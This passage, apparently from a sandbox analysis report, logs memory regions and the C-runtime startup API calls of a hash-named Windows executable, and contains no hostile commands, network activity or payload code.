4706 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4707 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4708 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4709 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4710 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4711 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4712 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4713 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4714 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4715 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4716 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4717 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4718 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4719 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4720 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4721 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4722 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4723 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4724 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4725 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4726 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4727 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4728 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4729 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4730 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4740 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4741 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4742 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4743 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4744 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4745 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4746 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4747 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4748 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4749 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4750 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4751 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4752 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4753 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4754 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4755 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4756 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4757 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4758 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4759 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4760 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4761 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4762 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4763 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4764 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4765 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4766 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4767 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4768 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4769 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4770 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4771 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4772 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4773 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4774 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4775 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4776 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4777 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4778 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Thread: id = 118 os_tid = 0x774 [0138.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f7a4 | out: lpSystemTimeAsFileTime=0x28f7a4*(dwLowDateTime=0xfa04b1d0, dwHighDateTime=0x1d93032)) [0138.286] GetCurrentProcessId () returned 0x768 [0138.286] GetCurrentThreadId () returned 0x774 [0138.286] GetTickCount () returned 0x9a5a [0138.286] QueryPerformanceCounter (in: lpPerformanceCount=0x28f79c | out: lpPerformanceCount=0x28f79c*=1700334714698) returned 1 [0138.289] GetStartupInfoW (in: lpStartupInfo=0x28f748 | out: lpStartupInfo=0x28f748*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x28f7ac, hStdError=0xad8ca4)) [0138.289] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0138.289] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2070000 [0138.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0138.290] GetProcAddress (hModule=0x753b0000, lpProcName="FlsAlloc") returned 0x753c4ee3 [0138.290] GetProcAddress (hModule=0x753b0000, lpProcName="FlsGetValue") returned 0x753c1252 [0138.290] GetProcAddress (hModule=0x753b0000, lpProcName="FlsSetValue") returned 0x753c41c0 [0138.290] GetProcAddress (hModule=0x753b0000, lpProcName="FlsFree") returned 0x753c354f [0138.291] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x214) returned 0x20707d0 [0138.291] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0138.293] GetCurrentThreadId () returned 0x774 [0138.293] GetStartupInfoW (in: lpStartupInfo=0x28f6e4 | out: lpStartupInfo=0x28f6e4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xad726a, hStdOutput=0xad75a3, hStdError=0x20707d0)) [0138.294] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x800) returned 0x20709f0 [0138.295] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0138.295] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0138.296] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0138.296] SetHandleCount (uNumber=0x20) returned 0x20 [0138.296] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0138.296] GetEnvironmentStringsW () returned 0x704b50* [0138.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1472 [0138.297] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x5c0) returned 0x20711f8 [0138.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0x20711f8, cbMultiByte=1472, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1472 [0138.300] FreeEnvironmentStringsW (penv=0x704b50) returned 1 [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] GetACP () returned 0x4e4 [0138.300] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x220) returned 0x20717c0 [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] IsValidCodePage (CodePage=0x4e4) returned 1 [0138.300] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28f6ac | out: lpCPInfo=0x28f6ac) returned 1 [0138.300] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28f178 | out: lpCPInfo=0x28f178) returned 1 [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28f58c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28f58c, cbMultiByte=256, lpWideCharStr=0x28eef8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā") returned 256 [0138.300] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā", cchSrc=256, lpCharType=0x28f18c | out: lpCharType=0x28f18c) returned 1 [0138.300] GetLastError () returned 0x5 [0138.300] SetLastError (dwErrCode=0x5) [0138.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28f58c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28f58c, cbMultiByte=256, lpWideCharStr=0x28eec8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.301] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0138.301] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x28ecb8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0138.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x28f48c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿu?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.301] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0138.301] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x28ecd8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0138.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x28f38c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f 